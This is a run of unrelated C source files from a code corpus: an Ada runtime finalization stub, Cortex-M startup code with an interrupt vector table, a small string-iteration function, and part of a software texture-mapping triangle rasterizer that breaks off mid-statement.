Ada Core Technologies Inc. * * * ****************************************************************************/ #ifdef __cplusplus extern "C" { #endif extern void __gnat_finalize (void); /* This routine is called at the extreme end of execution of an Ada program (the call is generated by the binder). The standard routine does nothing at all, the intention is that this be replaced by system specific code where finalization is required. */ void __gnat_finalize (void) { } #ifdef __cplusplus } #endif
the_stack_data/18668.c
/** ****************************************************************************** * @file startup_coide.c * @author Coocox * @version V1.0 * @date 20/07/2010 * @brief M0 M3 Devices Startup code. * This module performs: * - Set the initial SP * - Set the vector table entries with the exceptions ISR address * - Initialize data and bss * - Setup the microcontroller system. * - Call the application's entry point. * After Reset the Cortex-M0 M3 processor is in Thread mode, * priority is Privileged, and the Stack is set to Main. ******************************************************************************* */ /*----------Stack Configuration-----------------------------------------------*/ #define STACK_SIZE 0x00000100 /*!< Stack size (in Words) */ __attribute__ ((section(".co_stack"))) unsigned long pulStack[STACK_SIZE]; /*----------Macro definition--------------------------------------------------*/ #define WEAK __attribute__ ((weak)) /*----------Declaration of the default fault handlers-------------------------*/ /* System exception vector handler */ void WEAK Reset_Handler(void); void WEAK NMI_Handler(void); void WEAK HardFault_Handler(void); void WEAK MemManage_Handler(void); void WEAK BusFault_Handler(void); void WEAK UsageFault_Handler(void); void WEAK SVC_Handler(void); void WEAK DebugMon_Handler(void); void WEAK PendSV_Handler(void); void WEAK SysTick_Handler(void); void WEAK WWDG_IRQHandler(void); void WEAK PVD_IRQHandler(void); void WEAK TAMPER_STAMP_IRQHandler(void); void WEAK RTC_WKUP_IRQHandler(void); void WEAK FLASH_IRQHandler(void); void WEAK RCC_IRQHandler(void); void WEAK EXTI0_IRQHandler(void); void WEAK EXTI1_IRQHandler(void); void WEAK EXTI2_IRQHandler(void); void WEAK EXTI3_IRQHandler(void); void WEAK EXTI4_IRQHandler(void); void WEAK DMA1_Channel1_IRQHandler(void); void WEAK DMA1_Channel2_IRQHandler(void); void WEAK DMA1_Channel3_IRQHandler(void); void WEAK DMA1_Channel4_IRQHandler(void); void WEAK DMA1_Channel5_IRQHandler(void); void WEAK DMA1_Channel6_IRQHandler(void); void WEAK DMA1_Channel7_IRQHandler(void); void WEAK ADC1_IRQHandler(void); void WEAK USB_HP_IRQHandler(void); void WEAK USB_LP_IRQHandler(void); void WEAK DAC_IRQHandler(void); void WEAK COMP_IRQHandler(void); void WEAK EXTI9_5_IRQHandler(void); void WEAK LCD_IRQHandler(void); void WEAK TIM9_IRQHandler(void); void WEAK TIM10_IRQHandler(void); void WEAK TIM11_IRQHandler(void); void WEAK TIM2_IRQHandler(void); void WEAK TIM3_IRQHandler(void); void WEAK TIM4_IRQHandler(void); void WEAK I2C1_EV_IRQHandler(void); void WEAK I2C1_ER_IRQHandler(void); void WEAK I2C2_EV_IRQHandler(void); void WEAK I2C2_ER_IRQHandler(void); void WEAK SPI1_IRQHandler(void); void WEAK SPI2_IRQHandler(void); void WEAK USART1_IRQHandler(void); void WEAK USART2_IRQHandler(void); void WEAK USART3_IRQHandler(void); void WEAK EXTI15_10_IRQHandler(void); void WEAK RTC_Alarm_IRQHandler(void); void WEAK USB_FS_WKUP_IRQHandler(void); void WEAK TIM6_IRQHandler(void); void WEAK TIM7_IRQHandler(void); void WEAK SDIO_IRQHandler(void); void WEAK TIM5_IRQHandler(void); void WEAK SPI3_IRQHandler(void); void WEAK UART4_IRQHandler(void); void WEAK UART5_IRQHandler(void); void WEAK DMA2_Channel1_IRQHandler(void); void WEAK DMA2_Channel2_IRQHandler(void); void WEAK DMA2_Channel3_IRQHandler(void); void WEAK DMA2_Channel4_IRQHandler(void); void WEAK DMA2_Channel5_IRQHandler(void); void WEAK AES_IRQHandler(void); void WEAK COMP_ACQ_IRQHandler(void); /*----------Symbols defined in linker script----------------------------------*/ extern unsigned long _sidata; /*!< Start address for the initialization values of the .data section. */ extern unsigned long _sdata; /*!< Start address for the .data section */ extern unsigned long _edata; /*!< End address for the .data section */ extern unsigned long _sbss; /*!< Start address for the .bss section */ extern unsigned long _ebss; /*!< End address for the .bss section */ extern void _eram; /*!< End address for ram */ /*----------Function prototypes-----------------------------------------------*/ extern int main(void); /*!< The entry point for the application. */ extern void SystemInit(void); /*!< Setup the microcontroller system(CMSIS) */ void Default_Reset_Handler(void); /*!< Default reset handler */ static void Default_Handler(void); /*!< Default exception handler */ /** *@brief The minimal vector table for a Cortex M3. Note that the proper constructs * must be placed on this to ensure that it ends up at physical address * 0x00000000. */ __attribute__ ((section(".isr_vector"))) void (* const g_pfnVectors[])(void) = { /*----------Core Exceptions------------------------------------------------ */ (void *)&pulStack[STACK_SIZE], /*!< The initial stack pointer */ Reset_Handler, /*!< The reset handler */ NMI_Handler, /*!< The NMI handler */ HardFault_Handler, /*!< The hard fault handler */ MemManage_Handler, /*!< The MPU fault handler */ BusFault_Handler, /*!< The bus fault handler */ UsageFault_Handler, /*!< The usage fault handler */ 0,0,0,0, /*!< Reserved */ SVC_Handler, /*!< SVCall handler */ DebugMon_Handler, /*!< Debug monitor handler */ 0, /*!< Reserved */ PendSV_Handler, /*!< The PendSV handler */ SysTick_Handler, /*!< The SysTick handler */ /*----------External Exceptions---------------------------------------------*/ WWDG_IRQHandler, PVD_IRQHandler, TAMPER_STAMP_IRQHandler, RTC_WKUP_IRQHandler, FLASH_IRQHandler, RCC_IRQHandler, EXTI0_IRQHandler, EXTI1_IRQHandler, EXTI2_IRQHandler, EXTI3_IRQHandler, EXTI4_IRQHandler, DMA1_Channel1_IRQHandler, DMA1_Channel2_IRQHandler, DMA1_Channel3_IRQHandler, DMA1_Channel4_IRQHandler, DMA1_Channel5_IRQHandler, DMA1_Channel6_IRQHandler, DMA1_Channel7_IRQHandler, ADC1_IRQHandler, USB_HP_IRQHandler, USB_LP_IRQHandler, DAC_IRQHandler, COMP_IRQHandler, EXTI9_5_IRQHandler, LCD_IRQHandler, TIM9_IRQHandler, TIM10_IRQHandler, TIM11_IRQHandler, TIM2_IRQHandler, TIM3_IRQHandler, TIM4_IRQHandler, I2C1_EV_IRQHandler, I2C1_ER_IRQHandler, I2C2_EV_IRQHandler, I2C2_ER_IRQHandler, SPI1_IRQHandler, SPI2_IRQHandler, USART1_IRQHandler, USART2_IRQHandler, USART3_IRQHandler, EXTI15_10_IRQHandler, RTC_Alarm_IRQHandler, USB_FS_WKUP_IRQHandler, TIM6_IRQHandler, TIM7_IRQHandler, SDIO_IRQHandler, TIM5_IRQHandler, SPI3_IRQHandler, UART4_IRQHandler, UART5_IRQHandler, DMA2_Channel1_IRQHandler, DMA2_Channel2_IRQHandler, DMA2_Channel3_IRQHandler, DMA2_Channel4_IRQHandler, DMA2_Channel5_IRQHandler, AES_IRQHandler, COMP_ACQ_IRQHandler, }; /** * @brief This is the code that gets called when the processor first * starts execution following a reset event. Only the absolutely * necessary set is performed, after which the application * supplied main() routine is called. * @param None * @retval None */ void Default_Reset_Handler(void) { /* Initialize data and bss */ unsigned long *pulSrc, *pulDest; /* Copy the data segment initializers from flash to SRAM */ pulSrc = &_sidata; for(pulDest = &_sdata; pulDest < &_edata; ) { *(pulDest++) = *(pulSrc++); } /* Zero fill the bss segment. */ for(pulDest = &_sbss; pulDest < &_ebss; ) { *(pulDest++) = 0; } /* Setup the microcontroller system. */ SystemInit(); /* Call the application's entry point.*/ main(); } /** *@brief Provide weak aliases for each Exception handler to the Default_Handler. * As they are weak aliases, any function with the same name will override * this definition. */ #pragma weak Reset_Handler = Default_Reset_Handler #pragma weak NMI_Handler = Default_Handler #pragma weak HardFault_Handler = Default_Handler #pragma weak MemManage_Handler = Default_Handler #pragma weak BusFault_Handler = Default_Handler #pragma weak UsageFault_Handler = Default_Handler #pragma weak SVC_Handler = Default_Handler #pragma weak DebugMon_Handler = Default_Handler #pragma weak PendSV_Handler = Default_Handler #pragma weak SysTick_Handler = Default_Handler #pragma weak WWDG_IRQHandler = Default_Reset_Handler #pragma weak PVD_IRQHandler = Default_Reset_Handler #pragma weak TAMPER_STAMP_IRQHandler = Default_Reset_Handler #pragma weak RTC_WKUP_IRQHandler = Default_Reset_Handler #pragma weak FLASH_IRQHandler = Default_Reset_Handler #pragma weak RCC_IRQHandler = Default_Reset_Handler #pragma weak EXTI0_IRQHandler = Default_Reset_Handler #pragma weak EXTI1_IRQHandler = Default_Reset_Handler #pragma weak EXTI2_IRQHandler = Default_Reset_Handler #pragma weak EXTI3_IRQHandler = Default_Reset_Handler #pragma weak EXTI4_IRQHandler = Default_Reset_Handler #pragma weak DMA1_Channel1_IRQHandler = Default_Reset_Handler #pragma weak DMA1_Channel2_IRQHandler = Default_Reset_Handler #pragma weak DMA1_Channel3_IRQHandler = Default_Reset_Handler #pragma weak DMA1_Channel4_IRQHandler = Default_Reset_Handler #pragma weak DMA1_Channel5_IRQHandler = Default_Reset_Handler #pragma weak DMA1_Channel6_IRQHandler = Default_Reset_Handler #pragma weak DMA1_Channel7_IRQHandler = Default_Reset_Handler #pragma weak ADC1_IRQHandler = Default_Reset_Handler #pragma weak USB_HP_IRQHandler = Default_Reset_Handler #pragma weak USB_LP_IRQHandler = Default_Reset_Handler #pragma weak DAC_IRQHandler = Default_Reset_Handler #pragma weak COMP_IRQHandler = Default_Reset_Handler #pragma weak EXTI9_5_IRQHandler = Default_Reset_Handler #pragma weak LCD_IRQHandler = Default_Reset_Handler #pragma weak TIM9_IRQHandler = Default_Reset_Handler #pragma weak TIM10_IRQHandler = Default_Reset_Handler #pragma weak TIM11_IRQHandler = Default_Reset_Handler #pragma weak TIM2_IRQHandler = Default_Reset_Handler #pragma weak TIM3_IRQHandler = Default_Reset_Handler #pragma weak TIM4_IRQHandler = Default_Reset_Handler #pragma weak I2C1_EV_IRQHandler = Default_Reset_Handler #pragma weak I2C1_ER_IRQHandler = Default_Reset_Handler #pragma weak I2C2_EV_IRQHandler = Default_Reset_Handler #pragma weak I2C2_ER_IRQHandler = Default_Reset_Handler #pragma weak SPI1_IRQHandler = Default_Reset_Handler #pragma weak SPI2_IRQHandler = Default_Reset_Handler #pragma weak USART1_IRQHandler = Default_Reset_Handler #pragma weak USART2_IRQHandler = Default_Reset_Handler #pragma weak USART3_IRQHandler = Default_Reset_Handler #pragma weak EXTI15_10_IRQHandler = Default_Reset_Handler #pragma weak RTC_Alarm_IRQHandler = Default_Reset_Handler #pragma weak USB_FS_WKUP_IRQHandler = Default_Reset_Handler #pragma weak TIM6_IRQHandler = Default_Reset_Handler #pragma weak TIM7_IRQHandler = Default_Reset_Handler #pragma weak SDIO_IRQHandler = Default_Reset_Handler #pragma weak TIM5_IRQHandler = Default_Reset_Handler #pragma weak SPI3_IRQHandler = Default_Reset_Handler #pragma weak UART4_IRQHandler = Default_Reset_Handler #pragma weak UART5_IRQHandler = Default_Reset_Handler #pragma weak DMA2_Channel1_IRQHandler = Default_Reset_Handler #pragma weak DMA2_Channel2_IRQHandler = Default_Reset_Handler #pragma weak DMA2_Channel3_IRQHandler = Default_Reset_Handler #pragma weak DMA2_Channel4_IRQHandler = Default_Reset_Handler #pragma weak DMA2_Channel5_IRQHandler = Default_Reset_Handler #pragma weak AES_IRQHandler = Default_Reset_Handler #pragma weak COMP_ACQ_IRQHandler = Default_Reset_Handler /** * @brief This is the code that gets called when the processor receives an * unexpected interrupt. This simply enters an infinite loop, * preserving the system state for examination by a debugger. * @param None * @retval None */ static void Default_Handler(void) { /* Go into an infinite loop. */ while (1) { } } /*********************** (C) COPYRIGHT 2009 Coocox ************END OF FILE*****/
the_stack_data/150144404.c
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* ft_striter.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: ayip <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2017/09/20 16:44:36 by ayip #+# #+# */ /* Updated: 2017/09/23 23:42:50 by ayip ### ########.fr */ /* */ /* ************************************************************************** */ void ft_striter(char *s, void (*f)(char*)) { unsigned int u; u = 0; if (s && f) while (*(s + u)) f(s + u++); }
the_stack_data/212644403.c
typedef struct vec2i_decl { int x, y; } vec2i; typedef struct vec2f_decl { float x, y; } vec2f; typedef struct vec3f_decl { float x, y, z; } vec3f; typedef struct vec4f_decl { float x, y, z, w; } vec4f; typedef struct vertex2i_decl { vec2i position; vec2f texcoord; } vertex2i; typedef struct vertex4f_decl { vec4f position; vec2f texcoord; } vertex4f; typedef struct polygon2i_decl { vertex2i points[8]; int points_cnt; } polygon2i; typedef struct polygon4f_decl { vertex4f points[8]; int points_cnt; } polygon4f; typedef struct matrix4f_decl { float m00, m01, m02, m03; float m10, m11, m12, m13; float m20, m21, m22, m23; float m30, m31, m32, m33; } matrix4f; static void (*_dbgprintf)(const char *msg, ...); static void matrix4f_make_identity(matrix4f *dst); static void matrix4f_make_perspective(matrix4f *dst, float znear, float zfar, float tan_fovy2, float aspect); static void matrix4f_make_viewport(matrix4f *dst, float width, float height, float znear, float zfar); static void matrix4f_mul(matrix4f *dst, const matrix4f *lhs, const matrix4f *lhr); static void matrix4f_transform(vec4f *dst, const vec4f *src, const matrix4f *mat); void rasterizer_init(void (*__dbgprintf)(const char *msg, ...), int width, int height, int pitch, float znear, float zfar, float tan_fovy2); void rasterizer_begin_frame(void *videomem); void rasterizer_triangle3f(const vec3f *a, const vec3f *b, const vec3f *c, const vec2f *a_tex, const vec2f *b_tex, const vec2f *c_tex); static int _width; static int _height; static int _pitch; static int _color; static char *_videomem; static matrix4f _mvproj_matrix; static matrix4f _viewport_matrix; static vec4f _clip_z_near_base; static vec4f _clip_z_near_norm; static vec4f _clip_z_far_base; static vec4f _clip_z_far_norm; static vec4f _clip_plane_left_base; static vec4f _clip_plane_left_norm; static vec4f _clip_plane_right_base; static vec4f _clip_plane_right_norm; static vec4f _clip_plane_top_base; static vec4f _clip_plane_top_norm; static vec4f _clip_plane_bottom_base; static vec4f _clip_plane_bottom_norm; typedef unsigned char byte; static byte *_texture_data; static int _texture_width; static int _texture_height; //static void _print_poly4f(const char *msg, const polygon4f *poly) //{ // int i = 0; // // dbgprintf("%s\n", msg); // dbgprintf("poly->points_points=%p poly->points_cnt=%d\n", poly->points, poly->points_cnt); // // for (i = 0; i < poly->points_cnt; i++) { // dbgprintf("poly->points[%d]=(%f,%f,%f,%f)\n", // i, poly->points[i].x, poly->points[i].y, poly->points[i].z, poly->points[i].w); // } //} // //static void _print_vec4f(const char *msg, const vec4f *vec) //{ // dbgprintf("%s=(%f,%f,%f,%f)\n", msg, vec->x, vec->y, vec->z, vec->w); //} // //static void _print_mat4f(const char *msg, const matrix4f *mat) //{ // dbgprintf("%s=((%f,%f,%f,%f),\n(%f,%f,%f,%f),\n(%f,%f,%f,%f),\n(%f,%f,%f,%f))\n", msg, // mat->m00, mat->m01, mat->m02, mat->m03, mat->m10, mat->m11, mat->m12, mat->m13, // mat->m20, mat->m21, mat->m22, mat->m23, mat->m30, mat->m31, mat->m32, mat->m33); //} // // Math routines. // static void vec2f_add(vec2f *dst, const vec2f *lhs, const vec2f *rhs) { dst->x = lhs->x + rhs->x; dst->y = lhs->y + rhs->y; } static void vec2f_subtract(vec2f *dst, const vec2f *lhs, const vec2f *rhs) { dst->x = lhs->x - rhs->x; dst->y = lhs->y - rhs->y; } static void vec2f_mul(vec2f *vec, float rhs) { vec->x *= rhs; vec->y *= rhs; } static void vec4f_assign(vec4f *dst, float x, float y, float z, float w) { dst->x = x; dst->y = y; dst->z = z; dst->w = w; } static void vec4f_add(vec4f *dst, const vec4f *lhs, const vec4f *rhs) { dst->x = lhs->x + rhs->x; dst->y = lhs->y + rhs->y; dst->z = lhs->z + rhs->z; dst->w = lhs->w + rhs->w; } static void vec4f_subtract(vec4f *dst, const vec4f *lhs, const vec4f *rhs) { dst->x = lhs->x - rhs->x; dst->y = lhs->y - rhs->y; dst->z = lhs->z - rhs->z; dst->w = lhs->w - rhs->w; } static float vec4f_dot(const vec4f *lhs, const vec4f *rhs) { return lhs->x * rhs->x + lhs->y * rhs->y + lhs->z * rhs->z + lhs->w * rhs->w; } static void vec4f_mul(vec4f *vec, float rhs) { vec->x *= rhs; vec->y *= rhs; vec->z *= rhs; vec->w *= rhs; } static int vec4f_is_equal(const vec4f *lhs, const vec4f *rhs) { vec4f tmp; float len_sqr; vec4f_subtract(&tmp, lhs, rhs); len_sqr = vec4f_dot(&tmp, &tmp); return (len_sqr < 0.0001); } static void matrix4f_make_identity(matrix4f *dst) { dst->m00 = 1, dst->m01 = 0, dst->m02 = 0, dst->m03 = 0; dst->m10 = 0, dst->m11 = 1, dst->m12 = 0, dst->m13 = 0; dst->m20 = 0, dst->m21 = 0, dst->m22 = 1, dst->m23 = 0; dst->m30 = 0, dst->m31 = 0, dst->m32 = 0, dst->m33 = 1; } static void matrix4f_make_perspective(matrix4f *dst, float znear, float zfar, float tan_fovy2, float aspect) { float h = tan_fovy2 * znear; float w = h * aspect; dst->m00 = znear/w, dst->m01 = 0, dst->m02 = 0, dst->m03 = 0; dst->m10 = 0, dst->m11 = znear/h, dst->m12 = 0, dst->m13 = 0; dst->m20 = 0, dst->m21 = 0, dst->m22 = zfar/(zfar-znear), dst->m23 = 1; dst->m30 = 0, dst->m31 = 0, dst->m32 = znear*zfar/(znear-zfar), dst->m33 = 0; } static void matrix4f_make_viewport(matrix4f *dst, float width, float height, float znear, float zfar) { dst->m00 = width/2, dst->m01 = 0, dst->m02 = 0, dst->m03 = 0; dst->m10 = 0, dst->m11 = -height/2, dst->m12 = 0, dst->m13 = 0; dst->m20 = 0, dst->m21 = 0, dst->m22 = zfar - znear, dst->m23 = 0; dst->m30 = width/2, dst->m31 = height/2, dst->m32 = znear, dst->m33 = 1; } static void matrix4f_mul(matrix4f *dst, const matrix4f *lhs, const matrix4f *rhs) { dst->m00 = lhs->m00 * rhs->m00 + lhs->m01 * rhs->m10 + lhs->m02 * rhs->m20 + lhs->m03 * rhs->m30; dst->m01 = lhs->m00 * rhs->m01 + lhs->m01 * rhs->m11 + lhs->m02 * rhs->m21 + lhs->m03 * rhs->m31; dst->m02 = lhs->m00 * rhs->m02 + lhs->m01 * rhs->m12 + lhs->m02 * rhs->m22 + lhs->m03 * rhs->m32; dst->m03 = lhs->m00 * rhs->m03 + lhs->m01 * rhs->m13 + lhs->m02 * rhs->m23 + lhs->m03 * rhs->m33; dst->m10 = lhs->m10 * rhs->m00 + lhs->m11 * rhs->m10 + lhs->m12 * rhs->m20 + lhs->m13 * rhs->m30; dst->m11 = lhs->m10 * rhs->m01 + lhs->m11 * rhs->m11 + lhs->m12 * rhs->m21 + lhs->m13 * rhs->m31; dst->m12 = lhs->m10 * rhs->m02 + lhs->m11 * rhs->m12 + lhs->m12 * rhs->m22 + lhs->m13 * rhs->m32; dst->m13 = lhs->m10 * rhs->m03 + lhs->m11 * rhs->m13 + lhs->m12 * rhs->m23 + lhs->m13 * rhs->m33; dst->m20 = lhs->m20 * rhs->m00 + lhs->m21 * rhs->m10 + lhs->m22 * rhs->m20 + lhs->m23 * rhs->m30; dst->m21 = lhs->m20 * rhs->m01 + lhs->m21 * rhs->m11 + lhs->m22 * rhs->m21 + lhs->m23 * rhs->m31; dst->m22 = lhs->m20 * rhs->m02 + lhs->m21 * rhs->m12 + lhs->m22 * rhs->m22 + lhs->m23 * rhs->m32; dst->m23 = lhs->m20 * rhs->m03 + lhs->m21 * rhs->m13 + lhs->m22 * rhs->m23 + lhs->m23 * rhs->m33; dst->m30 = lhs->m30 * rhs->m00 + lhs->m31 * rhs->m10 + lhs->m32 * rhs->m20 + lhs->m33 * rhs->m30; dst->m31 = lhs->m30 * rhs->m01 + lhs->m31 * rhs->m11 + lhs->m32 * rhs->m21 + lhs->m33 * rhs->m31; dst->m32 = lhs->m30 * rhs->m02 + lhs->m31 * rhs->m12 + lhs->m32 * rhs->m22 + lhs->m33 * rhs->m32; dst->m33 = lhs->m30 * rhs->m03 + lhs->m31 * rhs->m13 + lhs->m32 * rhs->m23 + lhs->m33 * rhs->m33; } static void matrix4f_transform(vec4f *dst, const vec4f *vec, const matrix4f *mat) { dst->x = vec->x * mat->m00 + vec->y * mat->m10 + vec->z * mat->m20 + vec->w * mat->m30; dst->y = vec->x * mat->m01 + vec->y * mat->m11 + vec->z * mat->m21 + vec->w * mat->m31; dst->z = vec->x * mat->m02 + vec->y * mat->m12 + vec->z * mat->m22 + vec->w * mat->m32; dst->w = vec->x * mat->m03 + vec->y * mat->m13 + vec->z * mat->m23 + vec->w * mat->m33; } static void matrix4f_transpose(matrix4f *mat) { mat->m01 = mat->m10, mat->m02 = mat->m20, mat->m03 = mat->m30; mat->m12 = mat->m21, mat->m13 = mat->m31; mat->m23 = mat->m32; } // // Rasterizer initialization. // void rasterizer_init(void (*__dbgprintf)(const char *msg, ...), int width, int height, int pitch, float znear, float zfar, float tan_fovy2) { _dbgprintf = __dbgprintf; _width = width; _height = height; _pitch = pitch; matrix4f_make_perspective(&_mvproj_matrix, znear, zfar, tan_fovy2, (float) width / height); matrix4f_make_viewport(&_viewport_matrix, (float) width, (float) height, znear, zfar); vec4f_assign(&_clip_z_near_base, 0, 0, znear, 1.0f); vec4f_assign(&_clip_z_near_norm, 0, 0, (zfar > znear ? 1.0f : -1.0f), 1.0f); vec4f_assign(&_clip_z_far_base, 0, 0, zfar, 1.0f); vec4f_assign(&_clip_z_far_norm, 0, 0, (zfar > znear ? -1.0f : 1.0f), 1.0f); vec4f_assign(&_clip_plane_left_base, -1.0f + 1.0f/width, 0.0f, 0.0f, 1.0f); // workaround to improper FIST rounding vec4f_assign(&_clip_plane_left_norm, 1.0f, 0.0f, 0.0f, 1.0f); vec4f_assign(&_clip_plane_right_base, 1.0f - 1.0f/width, 0.0f, 0.0f, 1.0f); vec4f_assign(&_clip_plane_right_norm, -1.0f, 0.0f, 0.0f, 1.0f); vec4f_assign(&_clip_plane_top_base, 0.0f,-1.0f + 1.0f/height, 0.0f, 1.0f); vec4f_assign(&_clip_plane_top_norm, 0.0f, 1.0f, 0.0f, 1.0f); vec4f_assign(&_clip_plane_bottom_base, 0.0f, 1.0f, 0.0f, 1.0f); vec4f_assign(&_clip_plane_bottom_norm, 0.0f,-1.0f, 0.0f, 1.0f); } void rasterizer_begin_frame(void *videomem) { _videomem = (char *) videomem; } void rasterizer_set_mvproj(const float matrix[16]) { _mvproj_matrix = *(matrix4f *) matrix; } void rasterizer_set_color(int byte) { _color = byte; } void rasterizer_set_texture(void *texture_data, int texture_width, int texture_height) { _texture_data = (byte *) texture_data; _texture_width = texture_width; _texture_height = texture_height; } // // 2D triangle rasterizer. // // NEAREST: //static int _tex2d(float u, float v) //{ // int x = (int)((_texture_width - 1) * u); // int y = (int)((_texture_height - 1) * v); // // //if (x < 0 || x >= _texture_width || y < 0 || y >= _texture_height) { // // *(int *)0 = 0; // //} // // return _texture_data[y * _texture_width + x]; //} // TODO: компилятор должен справляться с инлайнингом этой функции; // сгенерированный код должен быть идентичным. //#include <math.h> // //// BILINEAR: //static void _tex2d_bilinear(byte *b, byte *g, byte *r, byte *a, float u, float v) //{ // float s = (_texture_width - 1) * u; // float t = (_texture_height - 1) * v; // float s0 = (float) floor(s); // float t0 = (float) floor(t); // float s1w = s-s0; // float s0w = 1.0f-s1w; // float t1w = t-t0; // float t0w = 1.0f-t1w; // // int s0i = (int) s0; // int t0i = (int) t0; // // byte *s0t0 = &_texture_data[4 * (t0i * _texture_width + s0i)]; // byte *s1t0 = &_texture_data[4 * (t0i * _texture_width + s0i+1)]; // byte *s0t1 = &_texture_data[4 * ((t0i+1) * _texture_width + s0i)]; // byte *s1t1 = &_texture_data[4 * ((t0i+1) * _texture_width + s0i+1)]; // // *b = (byte)((s0t0[0]*s0w + s1t0[0]*s1w)*t0w + (s0t1[0]*s0w + s1t1[0]*s1w)*t1w); // *g = (byte)((s0t0[1]*s0w + s1t0[1]*s1w)*t0w + (s0t1[1]*s0w + s1t1[1]*s1w)*t1w); // *r = (byte)((s0t0[2]*s0w + s1t0[2]*s1w)*t0w + (s0t1[2]*s0w + s1t1[2]*s1w)*t1w); // *a = (byte)((s0t0[3]*s0w + s1t0[3]*s1w)*t0w + (s0t1[3]*s0w + s1t1[3]*s1w)*t1w); // // //if (x < 0 || x >= _texture_width || y < 0 || y >= _texture_height) { // // *(int *)0 = 0; // //} //} static void _rasterize_horiz_line(int x1, int x2, int y, float u, float v, float dudx, float dvdx) { char *pixel, *line_end; byte blue, green, alpha; byte dst_green, dst_blue; float float_alpha; //if (x1 < 0 || x1 >= _width || x2 < 0 || x2 >= _width || y < 0 || y >= _width) { // *(int *) 0 = 0; //} pixel = _videomem + _pitch*y + 4*x1; line_end = pixel + 4*(x2 - x1); do { //if (u < -0.0001f || u > 1.0001f || v < -0.0001f || v > 1.0001f) { // *(int *)0 = 0; //} //// byte fill test: //*pixel = _color; //// byte interpolation test: //red = (int)(255 * v); //green = (int)(255 * u); //blue = (int)(255 * (2 - u - v) / 2.0f); // ////if (red < 0 || red > 255 || green < 0 || green > 255 || blue < 0 || blue > 255) { //// *(int *)0 = 0; ////} // //*pixel = red * 0x10000 + green * 0x100 + blue; //// simple texturing test: //*pixel = _tex2d(u, v); //// texturing multiplying by alpha test: //src_color = _tex2d(u, v); //int_alpha = ((src_color >> 24) & 0xFF); //green = (src_color & 0x0000FF00) >> 8; //blue = src_color & 0x000000FF; //green = green * int_alpha / 256; //blue = blue * int_alpha / 256; ////if (green < 0 || green > 255 || blue < 0 || blue > 255) { //// *(int *)0 = 0; ////} //res_color = (green << 8) + blue; //*pixel = res_color; //// texturing with alpha-blending test (requires #define EXTRA_BUFFERING 1 in test_main.cpp) //_tex2d_bilinear(&blue, &green, &red, &alpha, u, v); float s = (_texture_width - 1) * u; float t = (_texture_height - 1) * v; int s0i = (int) s; int t0i = (int) t; float s1w = s-s0i; float s0w = 1.0f-s1w; float t1w = t-t0i; float t0w = 1.0f-t1w; byte *s0t0 = &_texture_data[4 * (t0i * _texture_width + s0i)]; byte *s1t0 = &_texture_data[4 * (t0i * _texture_width + s0i+1)]; byte *s0t1 = &_texture_data[4 * ((t0i+1) * _texture_width + s0i)]; byte *s1t1 = &_texture_data[4 * ((t0i+1) * _texture_width + s0i+1)]; blue = (byte)((s0t0[0]*s0w + s1t0[0]*s1w)*t0w + (s0t1[0]*s0w + s1t1[0]*s1w)*t1w); green = (byte)((s0t0[1]*s0w + s1t0[1]*s1w)*t0w + (s0t1[1]*s0w + s1t1[1]*s1w)*t1w); //red = (byte)((s0t0[2]*s0w + s1t0[2]*s1w)*t0w + (s0t1[2]*s0w + s1t1[2]*s1w)*t1w); alpha = (byte)((s0t0[3]*s0w + s1t0[3]*s1w)*t0w + (s0t1[3]*s0w + s1t1[3]*s1w)*t1w); if (alpha) { float_alpha = alpha / 255.0f; dst_blue = pixel[0]; dst_green = pixel[1]; blue = (byte)(blue * float_alpha + dst_blue * (1-float_alpha)); green = (byte)(green * float_alpha + dst_green * (1-float_alpha)); //if (green < 0 || green > 255 || blue < 0 || blue > 255) { // *(int *)0 = 0; //} pixel[0] = blue; pixel[1] = green; } u += dudx; v += dvdx; pixel += 4; } while (pixel < line_end); } static void _rasterize_horiz_line__unordered(int x1, int x2, int y, float u1, float v1, float u2, float v2, float dudx, float dvdx) { if (x1 <= x2) { _rasterize_horiz_line(x1, x2, y, u1, v1, dudx, dvdx); } else { _rasterize_horiz_line(x2, x1, y, u2, v2, dudx, dvdx); } } static void _rasterize_triangle_1i(int x1, int x2, int x3, int y, const vec2f *uv1, const vec2f *uv2, const vec2f *uv3, float dudx, float dvdx) { if (x1 < x2) { if (x3 > x2) { _rasterize_horiz_line(x1, x3, y, uv1->x, uv1->y, dudx, dvdx); } else if (x3 < x1) { _rasterize_horiz_line(x3, x2, y, uv3->x, uv3->y, dudx, dvdx); } else { _rasterize_horiz_line(x1, x2, y, uv1->x, uv1->y, dudx, dvdx); } } else { if (x3 < x2) { _rasterize_horiz_line(x3, x1, y, uv3->x, uv3->y, -dudx, -dvdx); } else if (x3 > x1) { _rasterize_horiz_line(x2, x3, y, uv2->x, uv2->y, -dudx, -dvdx); } else { _rasterize_horiz_line(x2, x1, y, uv2->x, uv2->y, -dudx, -dvdx); } } } static void _rasterize_triangle_2i(const vertex2i *a, const vertex2i *b, const vertex2i *c) { const vertex2i *tmp; int x1, x2, y; float u1, v1, u2, v2, dudx, dvdx; if (a->position.y > b->position.y) { tmp = a; a = b; b = tmp; } if (a->position.y > c->position.y) { tmp = a; a = c; c = tmp; } if (b->position.y > c->position.y) { tmp = b; b = c; c = tmp; } if (a->position.y == c->position.y) { if (a->position.y >= 0 && a->position.y < _height) { _rasterize_triangle_1i(a->position.x, b->position.x, c->position.x, a->position.y, &a->texcoord, &b->texcoord, &c->texcoord, 0, 0); } return; } for (y = a->position.y; y < b->position.y; y++) { x1 = (y - a->position.y) * (b->position.x - a->position.x) / (b->position.y - a->position.y) + a->position.x; x2 = (y - a->position.y) * (c->position.x - a->position.x) / (c->position.y - a->position.y) + a->position.x; u1 = (y - a->position.y) * (b->texcoord.x - a->texcoord.x) / (b->position.y - a->position.y) + a->texcoord.x; u2 = (y - a->position.y) * (c->texcoord.x - a->texcoord.x) / (c->position.y - a->position.y) + a->texcoord.x; v1 = (y - a->position.y) * (b->texcoord.y - a->texcoord.y) / (b->position.y - a->position.y) + a->texcoord.y; v2 = (y - a->position.y) * (c->texcoord.y - a->texcoord.y) / (c->position.y - a->position.y) + a->texcoord.y; dudx = (u2 - u1) / (x2 - x1); dvdx = (v2 - v1) / (x2 - x1); _rasterize_horiz_line__unordered(x1, x2, y, u1, v1, u2, v2, dudx, dvdx); } x2 = (b->position.y - a->position.y) * (c->position.x - a->position.x) / (c->position.y - a->position.y) + a->position.x; u2 = (b->position.y - a->position.y) * 